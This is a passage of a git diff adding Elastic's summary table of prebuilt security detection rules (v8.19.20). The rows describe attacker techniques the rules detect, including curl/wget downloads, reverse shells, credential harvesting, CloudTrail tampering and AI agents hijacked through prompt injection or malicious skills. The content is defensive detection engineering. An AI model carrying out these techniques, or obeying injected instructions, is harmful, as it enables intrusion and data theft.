+include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-service-imagepath-modification.asciidoc[] +include::prebuilt-rule-8-19-20-privilege-escalation-via-windir-environment-variable.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc[] +include::prebuilt-rule-8-19-20-service-control-spawned-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-20-remote-computer-account-dnshostname-update.asciidoc[] +include::prebuilt-rule-8-19-20-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc[] +include::prebuilt-rule-8-19-20-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc[] +include::prebuilt-rule-8-19-20-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-parent-child-relationship.asciidoc[] +include::prebuilt-rule-8-19-20-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc[] diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rules-8-19-20-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rules-8-19-20-summary.asciidoc new file mode 100644 index 0000000000..834610fd35 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rules-8-19-20-summary.asciidoc @@ -0,0 +1,1984 @@ +[[prebuilt-rule-8-19-20-prebuilt-rules-8-19-20-summary]] +[role="xpack"] +== Update v8.19.20 + +This section lists all updates associated with version 8.19.20 of the Fleet integration *Prebuilt Security Detection Rules*. + + +[width="100%",options="header"] +|============================================== +|Rule |Description |Status |Version + +|<> | Identifies the first time, within the configured history window, that a long-term IAM access key ID (prefix AKIA) is used successfully from a given source.ip in AWS CloudTrail. Long-term access keys belong to IAM users or the account root user. They are a common target after credential theft or leakage, including supply-chain and exposed-key scenarios. Temporary security credentials (prefix ASIA) and console sessions are excluded so the signal emphasizes programmatic access patterns. | new | 1 + +|<> | Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way. | update | 5 + +|<> | This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. | update | 6 + +|<> | Identifies suspicious file download activity from a Google Drive URL. This could indicate an attempt to deliver phishing payloads via a trusted webservice. | update | 9 + +|<> | This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity. | update | 2 + +|<> | This detection correlates Suricata alerts with Elastic Defend network events to identify the source process performing the network activity. | update | 3 + +|<> | Identifies the use of the QEMU hardware emulator to potentially tunnel network traffic between Virtual machines. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. | update | 2 + +|<> | Detects when GenAI tools access sensitive files such as cloud credentials, SSH keys, browser password databases, or shell configurations. Attackers leverage GenAI agents to systematically locate and exfiltrate credentials, API keys, and tokens. Access to credential stores (.aws/credentials, .ssh/id_*) suggests harvesting, while writes to shell configs (.bashrc, .zshrc) indicate persistence attempts. Note: On linux only creation events are available. Access events are not yet implemented. | update | 5 + +|<> | This rule detects the execution of Gitleaks, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. | update | 2 + +|<> | This rule detects the execution of TruffleHog, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. This tool was abused by the Shai-Hulud worm to search for credentials in code repositories. | update | 3 + +|<> | Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. | update | 107 + +|<> | Identifies the execution of the OpenSSL utility to encrypt data. Adversaries may use OpenSSL to encrypt data to disrupt the availability of their target's data and may attempt to hold the organization's data to ransom for the purposes of extortion. | update | 2 + +|<> | Identifies the deletion of WebServer access logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. | update | 211 + +|<> | Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state. | update | 114 + +|<> | Identifies the execution of a Python script that uses the ROT cipher for letters substitution. Adversaries may use this method to encode and obfuscate part of their malicious code in legit python packages. | update | 6 + +|<> | Detects unusual modification of GenAI tool configuration files. Adversaries may inject malicious MCP server configurations to hijack AI agents for persistence, C2, or data exfiltration. Attack vectors include malware or scripts directly poisoning config files, supply chain attacks via compromised dependencies, and prompt injection attacks that abuse the GenAI tool itself to modify its own configuration. Unauthorized MCP servers added to these configs execute arbitrary commands when the AI tool is next invoked. | update | 6 + +|<> | Detects when GenAI tools spawn compilers or packaging tools to generate executables. Attackers leverage local LLMs to autonomously generate and compile malware, droppers, or implants. Python packaging tools (pyinstaller, nuitka, pyarmor) are particularly high-risk as they create standalone executables that can be deployed without dependencies. This rule focuses on compilation activity that produces output binaries, filtering out inspection-only operations. | update | 2 + +|<> | Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. | update | 2 + +|<> | This rules identifies a process created from an executable with a space appended to the end of the filename. This may indicate an attempt to masquerade a malicious file as benign to gain user execution. When a space is added to the end of certain files, the OS will execute the file according to it's true filetype instead of it's extension. Adversaries can hide a program's true filetype by changing the extension of the file. They can then add a space to the end of the name so that the OS automatically executes the file when it's double-clicked. | update | 12 + +|<> | Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior. | update | 5 + +|<> | An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. | update | 109 + +|<> | Identifies the execution of Living Off the Land Binaries (LOLBins) or GTFOBins on EC2 instances via AWS Systems Manager (SSM) `SendCommand` API. This detection correlates AWS CloudTrail `SendCommand` events with endpoint process execution by matching SSM command IDs. While AWS redacts command parameters in CloudTrail logs, this correlation technique reveals the actual commands executed on EC2 instances. Adversaries may abuse SSM to execute malicious commands remotely without requiring SSH or RDP access, using legitimate system utilities for data exfiltration, establishing reverse shells, or lateral movement. | update | 3 + +|<> | Identifies the use of the AWS Systems Manager (SSM) `SendCommand` API with the either `AWS-RunShellScript` or `AWS-RunPowerShellScript` parameters. The `SendCommand` API call allows users to execute commands on EC2 instances using the SSM service. Adversaries may use this technique to execute commands on EC2 instances without the need for SSH or RDP access. This behavior may indicate an adversary attempting to execute commands on an EC2 instance for malicious purposes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule that only flags when this behavior is observed for the first time on a host in the last 7 days. | update | 7 + +|<> | This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository. | update | 2 + +|<> | This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. | update | 4 + +|<> | Detects suspicious child process execution from the OpenClaw, Moltbot, or Clawdbot AI coding agents running via Node.js. These tools can execute arbitrary shell commands through skills or prompt injection attacks. Malicious skills from public registries like ClawHub have been observed executing obfuscated download-and-execute commands targeting cryptocurrency wallets and credentials. This rule identifies shells, scripting interpreters, and common LOLBins spawned by these AI agents. | update | 4 + +|<> | This rule detects the creation of privileged containers that mount host directories into the container's filesystem. Such configurations can be exploited by attackers to escape the container isolation and gain access to the host system, potentially leading to privilege escalation and lateral movement within the environment. | update | 2 + +|<> | This rule detects the configuration of a GitHub Actions self-hosted runner using the Runner.Listener binary. When a machine is registered to a remote repository, its owner gains the ability to execute arbitrary workflow commands on that host. Unexpected or unauthorized runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. | update | 2 + +|<> | Identifies the execution of a shell process with suspicious arguments which may be indicative of reverse shell activity. | update | 112 + +|<> | Identifies suspicious Java file creation in the IRJ directory of the SAP NetWeaver application. This may indicate an attempt to deploy a webshell. | update | 2 + +|<> | Identifies suspicious processes spawned from the SAP NetWeaver application. This may indicate an attempt to execute commands via webshell. | update | 2 + +|<> | Identifies an outbound network connection by JAVA to LDAP, RMI or DNS standard ports followed by a suspicious JAVA child processes. This may indicate an attempt to exploit a JAVA/NDI (Java Naming and Directory Interface) injection vulnerability. | update | 108 + +|<> | Detects the execution of suspicious shell commands via the Python interpreter. Attackers may use Python to execute shell commands to gain access to the system or to perform other malicious activities, such as credential access, data exfiltration, or lateral movement. | update | 3 + +|<> | This rule detects potentially dangerous commands spawned by the GitHub Actions Runner.Worker process on self-hosted runner machines. Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. This behavior may indicate malicious or unexpected workflow activity, including code execution, file manipulation, or network exfiltration initiated through a compromised repository or unauthorized workflow. | update | 2 + +|<> | This rule detects processes spawned by GitHub Actions runners where "RUNNER_TRACKING_ID" is overridden from its default "github_*" value. Such tampering has been associated with attempts to evade runner tracking/cleanup on self-hosted runners, including behavior observed in the Shai-Hulud 2.0 npm worm campaign. | update | 2 + +|<> | Detects the use of curl to upload files to an internet server. Threat actors often will collect and exfiltrate data on a system to their C2 server for review. Many threat actors have been observed using curl to upload the collected data. Use of curl in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. | update | 7 + +|<> | This rule detects suspicious child process activity from a React server application. This could be related to successful exploitation of CVE-2025-55182 or CVE-2025-66478. These vulnerabilities allow attackers to execute remote code due to insecure deserialization of React Server Components (RSC) Flight payloads, leading to unauthenticated RCE on servers running React 19.x or Next.js 14.3.0-canary+, 15.x, and 16.x with the App Router enabled | update | 3 + +|<> | This rule detects potential initial access activity where an adversary uploads a web shell or malicious script to a web server via a file upload mechanism (e.g., through a web form using multipart/form-data), followed by a GET or POST request to access the uploaded file. By checking the body content of HTTP requests for file upload indicators such as "Content-Disposition: form-data" and "filename=", the rule identifies suspicious upload activities. This sequence of actions is commonly used by attackers to gain and maintain access to compromised web servers. | update | 2 + +|<> | Detects when the Ollama LLM server accepts connections from external IP addresses. Ollama lacks built-in authentication, so exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. | update | 2 + +|<> | This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. | update | 105 + +|<> | This rule correlates alerts from multiple integrations and event categories that involve different user.name values which may represent the same real-world identity. It uses an LLM-based similarity analysis to evaluate whether multiple user identifiers (e.g. naming variations, formats, aliases, or domain differences) likely belong to the same person. | update | 3 + +|<> | This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. | update | 5 + +|<> | A sudoers file specifies the commands users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. | update | 108 + +|<> | An adversary may add the setuid or setgid bit to a file or directory in order to run a file with the privileges of the owning user or group. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setuid or setgid bit to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. | update | 110 + +|<> | Identifies the attempted use of a heap-based buffer overflow vulnerability for the Sudo binary in Unix-like systems (CVE-2021-3156). Successful exploitation allows an unprivileged user to escalate to the root user. | update | 109 + +|<> | A sudoers file specifies the commands that users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. | update | 211 + +|<> | Identify activity related where adversaries can include a trap command which then allows programs and shells to specify commands that will be executed upon receiving interrupt signals. | update | 6 + +|<> | Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. | update | 213 + +|<> | Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. | update | 8 + +|<> | Identifies the first occurrence of an unauthorized attempt by an AWS role to use `GetPassword` to access the administrator password of an EC2 instance. Adversaries may use this API call to escalate privileges or move laterally within EC2 instances. | update | 8 + +|<> | This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. | update | 6 + +|<> | Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. | update | 214 + +|<> | Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. | update | 7 + +|<> | Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services and resources for the AWS account. | update | 213 + +|<> | Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. | update | 215 + +|<> | Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. | update | 214 + +|<> | Detects when EC2 Serial Console Access is enabled for an AWS account. The EC2 Serial Console provides direct, text-based access to an instance's serial port, bypassing the network layer entirely. While useful for troubleshooting boot issues or network misconfigurations, enabling serial console access in production environments is rare and potentially dangerous. Adversaries may enable this feature to establish an out-of-band communication channel that evades network-based security monitoring, firewalls, and VPC controls. This access method can be used for persistent backdoor access or to interact with compromised instances without triggering network-based detection mechanisms. | update | 2 + +|<> | Identifies the restoration of an AWS RDS database instance from a snapshot or S3 backup. Adversaries with access to valid credentials may restore copies of existing databases to bypass logging and monitoring controls or to exfiltrate sensitive data from a duplicated environment. This rule detects successful restoration operations using "RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3", which may indicate unauthorized data access or post-compromise defense evasion. | update | 213 + +|<> | Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. | update | 213 + +|<> | Identifies when an AWS Simple Queue Service (SQS) queue is purged. Purging an SQS queue permanently deletes all messages currently in the queue. Adversaries may use this action to disrupt application workflows, destroy operational data, or impair monitoring and alerting by removing messages that contain evidence of malicious activity. | update | 7 + +|<> | Identifies when a specified inbound (ingress) rule is added or adjusted for a VPC security group in AWS EC2. This rule detects when a security group rule is added that allows traffic from any IP address or from a specific IP address to common remote access ports, such as 22 (SSH) or 3389 (RDP). Adversaries may add these rules to allow remote access to VPC instances from any location, increasing the attack surface and potentially exposing the instances to unauthorized access. | update | 6 + +|<> | Detects repeated failed attempts to update an IAM role’s trust policy in an AWS account, consistent with role and user enumeration techniques. In this technique, an attacker who controls credentials in the current account repeatedly calls UpdateAssumeRolePolicy on a single role, cycling through guessed cross-account role or user ARNs as the principal. When those principals are invalid, IAM returns MalformedPolicyDocumentException, producing a burst of failed UpdateAssumeRolePolicy events. This rule alerts on that brute-force pattern originating from this account, which may indicate that the account is being used as attack infrastructure or that offensive tooling (such as Pacu) is running here. Note: this rule does not detect other accounts enumerating roles, because those API calls are logged in the caller’s account, not the target account. | update | 215 + +|<> | Detects when a single AWS resource is running multiple read-only, discovery API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. | update | 8 + +|<> | An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. | update | 8 + +|<> | Identifies when a single AWS principal makes GetServiceQuota API calls for the EC2 service quota L-1216C47A, across more than 10 AWS regions within a 30-second window. This quota represents the vCPU limit for on-demand EC2 instances. Adversaries commonly enumerate this quota across regions to assess capacity for large-scale instance deployment, including cryptocurrency mining, malware hosting, or command-and-control infrastructure. This behavior may indicate cloud infrastructure discovery using compromised credentials or a compromised workload. | update | 9 + +|<> | Detects the rare occurrence of a user or role accessing AWS Systems Manager (SSM) inventory APIs or running the AWS-GatherSoftwareInventory job. These APIs reveal detailed information about managed EC2 instances including installed software, patch compliance status, and command execution history. Adversaries may use these calls to collect software inventory while blending in with legitimate AWS operations. This is a New Terms rule that detects when a user accesses these reconnaissance APIs for the first time. | update | 2 + +|<> | Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. | update | 2 + +|<> | Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized. | update | 8 + +|<> | This rule detects the first time a principal calls AWS CloudFormation CreateStack, CreateStackSet or CreateStackInstances API. CloudFormation is used to create a collection of cloud resources called a stack, via a defined template file. An attacker with the appropriate privileges could leverage CloudFormation to create specific resources needed to further exploit the environment. This is a new terms rule that looks for the first instance of this behavior for a role or IAM user within a particular account. | update | 7 + +|<> | Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. | update | 5 + +|<> | Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. | update | 6 + +|<> | Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. | update | 3 + +|<> | Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. | update | 212 + +|<> | Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. | update | 212 + +|<> | Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. | update | 9 + +|<> | Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. | update | 7 + +|<> | Identifies AWS API activity originating from uncommon desktop client applications based on the user agent string. This rule detects S3 Browser and Cyberduck, which are graphical S3 management tools that provide bulk upload/download capabilities. While legitimate, these tools are rarely used in enterprise environments and have been observed in use by threat actors for data exfiltration. Any activity from these clients should be validated against authorized data transfer workflows. | update | 2 + +|<> | Identifies when a user subscribes to an SNS topic using a new protocol type (ie. email, http, lambda, etc.). SNS allows users to subscribe to recieve topic messages across a broad range of protocols like email, sms, lambda functions, http endpoints, and applications. Adversaries may subscribe to an SNS topic to collect sensitive information or exfiltrate data via an external email address, cross-account AWS service or other means. This rule identifies a new protocol subscription method for a particular user. | update | 9 + +|<> | Identifies when an Amazon EventBridge rule is disabled or deleted. EventBridge rules are commonly used to automate operational workflows and security-relevant routing (for example, forwarding events to Lambda, SNS/SQS, or security tooling). Disabling or deleting a rule can break critical integrations, suppress detections, and reduce visibility. Adversaries may intentionally impair EventBridge rules to disrupt monitoring, delay response, or hide follow-on actions. | update | 212 + +|<> | Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. | update | 8 + +|<> | Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. | update | 214 + +|<> | Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. | update | 214 + +|<> | Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. | update | 214 + +|<> | Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. | update | 212 + +|<> | Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. | update | 6 + +|<> | Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. | update | 215 + +|<> | Identifies attempts to disable or schedule the deletion of an AWS customer managed KMS Key. Disabling or scheduling a KMS key for deletion removes the ability to decrypt data encrypted under that key and can permanently destroy access to critical resources. Adversaries may use these operations to cause irreversible data loss, disrupt business operations, impede incident response, or hide evidence of prior activity. Because KMS keys often protect sensitive or regulated data, any modification to their lifecycle should be considered highly sensitive and investigated promptly. | update | 112 + +|<> | Identifies the modification of an AWS RDS DB instance or cluster to disable the deletionProtection feature. Deletion protection prevents accidental or unauthorized deletion of RDS resources. Adversaries with sufficient permissions may disable this protection as a precursor to destructive actions, including the deletion of databases containing sensitive or business-critical data. This rule alerts when deletionProtection is explicitly set to false on an RDS DB instance or cluster. | update | 8 + +|<> | Identifies the deletion of an AWS RDS DB snapshot or configuration changes that effectively remove backup coverage for a DB instance. RDS snapshots contain full backups of database instances, and disabling automated backups by setting "backupRetentionPeriod=0" has a similar impact by preventing future restore points. Adversaries with the appropriate permissions may delete snapshots or disable backups to inhibit recovery, destroy forensic evidence, or prepare for follow-on destructive actions such as instance or cluster deletion. | update | 8 + +|<> | Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. | update | 11 + +|<> | This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. | update | 7 + +|<> | Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. | update | 7 + +|<> | Identifies a password recovery request for the AWS account root user. In AWS, the PasswordRecoveryRequested event from signin.amazonaws.com applies to the root user’s “Forgot your password?” flow. Other identity types, like IAM and federated users, do not generate this event. This alert indicates that someone initiated the root password reset workflow for this account. Verify whether this was an expected action and review identity provider notifications/email to confirm legitimacy. | update | 212 + +|<> | Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. | update | 4 + +|<> | Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. | update | 8 + +|<> | Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. | update | 7 + +|<> | Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. | update | 5 + +|<> | A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). | update | 213 + +|<> | A machine learning job detected an AWS API command that, while not inherently suspicious or abnormal, is being made by a user context that does not normally use the command. This can be the result of compromised credentials or keys as someone uses a valid account to persist, move laterally, or exfiltrate data. | update | 213 + +|<> | Identifies the creation of an AWS EC2 network access control list (ACL) or an entry in a network ACL with a specified rule number. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. | update | 212 + +|<> | Identifies AWS CloudTrail events where an EC2 route table or association has been modified or deleted. Route table or association modifications can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. | update | 212 + +|<> | Identifies a change to an AWS Security Group Configuration. A security group is like 